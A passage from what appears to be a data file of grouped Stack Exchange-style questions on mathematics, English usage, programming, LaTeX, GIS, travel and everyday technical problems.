CPU in 4 processing units?", "When can you build up all representations from the fundamental and antifundamental ones? Under what conditions can you determine all representations of a Lie algebra from the fundamental and antifundamental ones using just the tensor product, direct sum and Clebsch-Gordan decomposition? I think this is true for $\\mathfrak{su}(2)$ and $\\mathfrak{sl}(2,\\mathbb{C})$, or at least that's what physics books lead me to believe! Is it true in general for semisimple Lie algebras?", "What exactly is a distribution? I know very little of Probability and Statistics, and am wishing to learn. I see the word \"distribution\" used all over the place in different contexts. For example, a discrete random variable has a \"probability distribution.\" I know what this is. A continuous random variable has a probability density function, then for $x\\in\\mathbb{R}$, the integral from $-\\infty$ to $x$ of the probability density function is the cumulative distribution function evaluated at $x$. And apparently just \"distribution function\" is synonymous with \"cumulative distribution function,\" at least when talking about continuous random variables (question: are they always synonyms?). Then there are many famous distributions. $\\Gamma$ distribution $\\chi^2$ distribution, etc. But what exactly is a $\\Gamma$ distribution? Is it the cumulative distribution function of a $\\Gamma$ random variable? Or the probability density function of a $\\Gamma$ random variable? But then a frequency distribution of a finite data set appears to be a histogram. Long story short: in Probability and Statistics, what is the definition of the word \"distribution\"? I know the definition of distribution in Mathematics (an element of the dual space of the collection of test functions equipped with the inductive limit topology), but not Probability and Statistics." ]

[ "Is there any difference between like best and like the best? Is there a difference between these two sentences? Are they the same? What color do you like the best? What color do you like best? Is there a difference in their meaning?", "How to Split Features in QGIS?", "If I were to use the sentence \"There are lots of John Smiths\" in the world, would that be the correct use for saying that there are a lot of people named John Smith in the world? I don't think there should be an apostrophe as that would imply ownership of something. If my first example is correct, then what would you do if the name referenced already ended with an 's'?", "What's the C++ way of parsing a string (given as char *) into an int? Robust and clear error handling is a plus (instead of ).", "Pretty printing XML with javascript", "Is there such a thing as a Ubuntu Certified Engineer?", "biblatex: change name of author according to language? Usually a name stays the same in whatever language. So, whenever I quote a work by Knuth -- be it in an English article or a German one -- I will quote him as Donald E. Knuth. This is not always the case with ancient or medieval names. They are spelled differently in different languages. Two examples in English | German | French: Aristotle | Aristoteles | Aristote Thomas Aquinas | Thomas von Aquin | Thomas d'Aquin This means that when I write an English article, I need a bib-file that contains the English names, but when I want to write a German article, I need to go through my bib file and change the names accordingly. Depending on how often I in fact publish in English or German this could keep me busy and is prone to error. So, I though, maybe I could have the different names already included in one single bib-file and let biblatex choose the correct name according to the primary language used in the document. Any ideas? NB: I do not want to use in one single document both spellings Aristotle and Aristoteles (as the following MWE might make you think). Of course, if the article's primary language is English, then all the references to Aristotle will use the English spelling of his name. However, I want to be able to write articles in different languages, without (a) having to edit my bib-files each time or (b) generally maintaing not one single bib-file but two different ones, one for each language, or (c) having two distinct entries in one bib-file MWE % !TEX TS-program = lualatexmk \\documentclass{scrartcl} \\usepackage{fontspec} \\setmainfont[Ligatures=TeX]{Times New Roman} \\usepackage[ngerman, british]{babel} \\usepackage[babel]{csquotes} \\usepackage[style=verbose,abbreviate=false,backend=biber]{biblatex} \\usepackage{filecontents} \\begin{filecontents}{\\jobname.bib} @book{aristotle:ross:1924, Author = {Aristotle}, % It is here, I think, that something could be done, e.g., ... Title = {Metaphysics}, % ... british=Aristotle,ngerman=Aristoteles,french=Aristote Editor = {William David Ross}, Commentator = {William David Ross}, Introduction = {William David Ross}, Hyphenation = {british}, Location = {Oxford}, Publisher = {Clarendon Press}, Volumes = {2}, Year = {1924}} \\end{filecontents} \\addbibresource{\\jobname.bib} \\begin{document} \\selectlanguage{british} Some English text.\\footcite{aristotle:ross:1924} \\selectlanguage{ngerman} Etwas Text auf Deutsch.\\footcite{aristotle:ross:1924} \\end{document}", "What are the possible catch bonuses and how much experience do they reward?", "Amongst North Indian Students, the phrase \"give an exam\" is very popular. These students use the phrase to describe the act of writing the answers to examination questions. The reason being, in Hindi, it's known as \"exam dhena\" which translates literally to \"to give an exam\". In South India, however, a majority of people use the phrase \"to take up an exam\". Which of these usages is more common/appropriate/grammatical? (As a prof I have developed a strange aversion toward the \"give an exam\" phrase; I find it wrong and ugly.)", "Airbnb housing gone electrifyingly bad I am staying at a place booked via Airbnb. Something happened and there is no electricity from Friday! The house-owner has provided a super noisy generator, which is inconsistent, meaning that it \"randomly\" supplies power to some parts of the house, so you cannot rely on it. Is there any rule/law in SF, CA, USA to describe the compensation one should get from such kind a situation? The owner owns the whole building. On the ground floor there is a restaurant. On the 1st floor there are the apartments. Something happened in the restaurant, which made the electricity go off, but she didn't give more details, she said \"there was an emergency and the power went off\".", "How to find roots of $X^5 - 1$? How to find roots of $X^5 - 1$? (Or any polynomial of that form where $X$ has an odd power.)", "How do I complete \"Find the Bitizen\"? In tiny Death Star, Palpatine has given me the mission \"Find the Bitizen\" with the text \"Working for tips is acceptable. Find 1 Bitizen(s).\" I assumed I had to wait for one of the events where you have to find a \"rebel scum\" and tap on it to get rid of. One of those events finally popped up but it did not complete the mission. How do I complete this mission?", "Say a prospective PhD has a high reply rate (90-95%) to first contact emails with potential superviors. He/She has a well thought out e-mail, but a particular professor (here: USA) that is in the top preferences does not reply after two to three e-mails that were sent within a time frame of three months. I also followed the instructions on the professor personal website in the section \"prospective PhD students\". The student has already contacted some of the advisor students and has received positive feedback about the professor. Should the student just give up and move on? Should the student keep trying? Aside from the obvious \"I have too many incoming e-mails to answer\" or \"I am out in the field\", what could create a no response behavior from the professor? I have seen the simplistic answer \"move on, bad advisor, doesn't have time, etc\". But this seems a contradiction in this case. The PhD students like the professor and say he/she is personable and no e-mail response after a few well written emails.", "How to make a simple app from an applescript! I've got an applescript that I use to open files such as test.txt in vim, using the terminal. I usually open a file by right-clicking it an selecting the service open in vim (this service is created by me and basically runs the applescript). How do I build an actual program, that can be set in the \"open with\" option for a file? This way, when I double click test.txt, the applescript gets run and the file gets opened in my vim in terminal.app. I would also like to create custom icons that will be applied to all files I open using this app (using the \"Change All...\" button). Where would I begin? Is this easy, because I'm just a novice -although I love programming and would spend much to to get to know all that is needed to do this. the code is: on open this_item tell application \"System Events\" if (count (processes whose name is \"Terminal\")) is 0 then tell application \"Terminal\" activate do script with command \"vim \" &amp; (POSIX path of this_item) in front window end tell else tell application \"Terminal\" activate tell application \"System Events\" to tell process \"Terminal\" to keystroke \"t\" using command down do script with command \"vim \" &amp; (POSIX path of this_item) in selected tab of the front window end tell end if end tell end open", "How do you take profit from stock trading while keeping capital invested?", "Will I still receive OTA updates after rooting my Nexus 5? I just wanna ask that after rooting Nexus 5 will I be receiving OTA updates by Google ? Or I'll have to install a custom ROM ?", "Convert .jar to .deb package", "Does Blender support any form of collaborative editing?", "Are employments in universities affiliated (or named) with a specific religion restricted to people with the same religion? I just saw an ad in mathjobs.org about an opening in a Catholic university, see . I am not christian. So I was wondering to be eligible for employment in a university or college affiliated with a specific religion, should the applicant have the same religion, or other people from other religions (or even non-religious people) are eligible to apply as well?", "In JUnit 3, I could get the name of the currently running test like this: public class MyTest extends TestCase { public void testSomething() { System.out.println(\"Current test is \" + getName()); ... } } which would print \"Current test is testSomething\". Is there any out-of-the-box or simple way to do this in JUnit 4? Background: Obviously, I don't want to just print the name of the test. I want to load test-specific data that is stored in a resource with the same name as the test. You know, and all that." ]

[ "Why use \"need not\" instead of \"do not need to\"?", "Event binding on dynamically created elements? I have a bit of code where I am looping through all the select boxes on a page and binding a .hover event to them to do a bit of twiddling with their width on mouse on/off. This happens on page ready and works just fine. The problem I have is that any select boxes I add via Ajax or DOM after the initial loop won't have the event bound. I have found this plugin (), but before I add another 5k to my pages with a plugin, I want to see if anyone knows a way to do this, either with jQuery directly or by another option.", "Installing from source. How to resolve dependencies without destroying the package manager", "How do I deal with NAs in residuals in a regression in R?", "Expectation of the maximum of gaussian random variables", "I have an array of Foo objects. How do I remove the second element of the array? I need something similar to RemoveAt() but for a regular array.", "What is the best way to unit test a method that calls into multiple methods, for example: modify(string value) { if(value.Length &gt; 5) replaceit(value); else changeit(value); } This pseudo code has a modify method that (currently) calls either replaceit() or changeit(). I have already wrote tests for replaceit and changeit, so writing a new test for modify will be 99% the same set of code. I need to test it thought because it may change in the future. So do I copy paste the existing test code? Move the test code to a common function? Any other ideas? I'm not sure of the best practice here.", "Showing that $\\frac{\\sqrt[n]{n!}}{n}$ $\\rightarrow \\frac{1}{e}$ Show:$$\\lim_{n\\to\\infty}\\frac{\\sqrt[n]{n!}}{n}= \\frac{1}{e}$$ So I can expand the numerator by geometric mean. Letting $C_{n}=\\left(\\ln(a_{1})+...+\\ln(a_{n})\\right)/n$. Let the numerator be called $a_{n}$ and the denominator be $b_{n}$ Is there a way to use this statement so that I could force the original sequence into the form of $1/\\left(1+\\frac{1}{n}\\right)^n$", "Weighting features prior to SVM I'm building an object detector using HOG features and linear SVM. Some of the regions of the object are more \"distinctive\" so I would like to give more weight to the features extracted from those regions. (e.g. imagine we want to detect between mugs and glasses, then the most \"distinctive\" part is the mug's handle) How could I do this? For sure there should be a more intelligent way than just replicating the features of those \"distinctive\" regions.", "Evaluate $\\lim_{n \\to \\infty} \\frac{1}{n}[(n +1)(n+2) \\cdots (n+n)]^{\\frac{1}{n}}$ Evaluate $$\\lim_{n \\to \\infty} \\frac{1}{n}[(n +1)(n+2) \\cdots (n+n)]^{\\frac{1}{n}}$$ We can write as $\\displaystyle\\lim_{n \\to \\infty} \\frac{1}{n}[(n +1)(n+2) \\cdots (n+n)]^{\\frac{1}{n}}$ $$= \\lim_{n \\to \\infty}\\left[\\frac{(n +1)(n+2) \\cdots (n+n)}{n^n}\\right]^{\\frac{1}{n}} = \\lim_{n \\to \\infty}\\left[(1+\\frac{1}{n})(1+\\frac{2}{n})\\cdots (1+\\frac{n}{n})\\right]^{\\frac{1}{n}}$$ I have used this result if $\\{a_n\\}$ is a sequence of positive term which is convergent to $l$ and $b_n = (a_1. a_2 . \\cdots a_n)^{1/n}$ ,thhen $b_n$ converges to $l$ here $a_n = 2$, but i think it is not right,how to use this result in this question. Give me hint how to proceed . Thank you", "Are the off-world colonies really a \"golden land of opportunity\"? In Blade Runner, there seems to be quite a for emigration to the off-world colonies, e.g., \"A new life awaits you in the off-world colonies, a chance to begin again in a golden land of opportunity and adventure.\" Is there any evidence that people emigrating are actually better off than staying on Earth? The job descriptions of the replicants Deckard is tasked with \"retiring\" don't seem consistent with the colonies being wonderful places. If the colonies offered a good life, would they have to do so much advertising?", "My Y axis is inverted! How do I fix that? When I play Black Ops 2, it seems that my xbox controller is inverted. Example: if I press up, my character looks down and vice versa. It was not like this before. Does anyone know how to reset the controller back to its original settings?", "Combining the second elements of a set of ordered pairs based on their first element", "Add time restriction in ArcGIS Network Analyst", "I'd like to emulate HTML's infinite page height using LaTeX/XeTeX, i.e. have the PDF pages grow higher until a manual \\newpage is issued. This could be emulated by setting a very large page height and using pdfcrop on the output (or just setting the page height manually), but I'd like a pure TeX variant and if possible support for footnotes etc at the bottom of the cropped page.", "Single Variable Calculus Reference Recommendations", "Getting a domain name off of the blacklist I have a friend who purchased a domain name recently that he found out (after buying it) is apparently blocked by many corporate firewalls or proxies b/c it's been tagged as porn by the blacklist db they're using. Are there any common agencies he can appeal to in order to get the domain name off the black lists? It's not just one corporation, either, he's looking at marketing a subscription-based service to a certain industry, so any contacting a particular firewall/proxy admin and have them manually update the blacklist won't scale well. Thanks in advance. Paul", "I don't need a recommendation or a list but my knowledge of GPS and \"navi\"s and the differences between them is an utter mystery to me. But often I'm lost in backstreets in random countries where access to something like a live Google Maps would be awesome. I absolutely cannot afford a smartphone with worldwide roaming though. Can GPS's do what I want or am I barking up the wrong tree? If they can is it only high end ones than can?", "Can we opt for fast track service after the refusal? Last Saturday, I got a refusal from BHC due to lack of funds and my reasons to come back to India. I am planning to visit my family who are settled in the UK. I am married and planning to visit my family along with my husband. My father is sponsoring our whole trip. But we got a refusal as we didn't show much funds in our account. We thought that if my father is sponsoring, we should show his documents only. But now I have applied again with a fast track service. Will BHC will consider it under the fast track process? This time I have cleared all their doubts which they mentioned in the refusal letter.", "Probability of lim sup, lim inf for sequence of random variables. Maybe this is extremely simple, but i havent found a specific answer for this online. For a sequence of independent continuous random variables $X_n$ ,$n=1,2,3,...$ , all with the same probability density function $f(x)&gt;0$ for all real $x$, and a specific real number $b$, what do the following events mean in simple terms and what is the probability of each? a)$\\lim_n\\sup\\{X_n \\gt b\\}$ b)$\\lim_n\\inf\\{X_n \\gt b\\}$ c)$\\lim_n\\sup\\{X_n \\le b\\}$ d)$\\lim_n\\inf\\{X_n \\le b\\}$" ]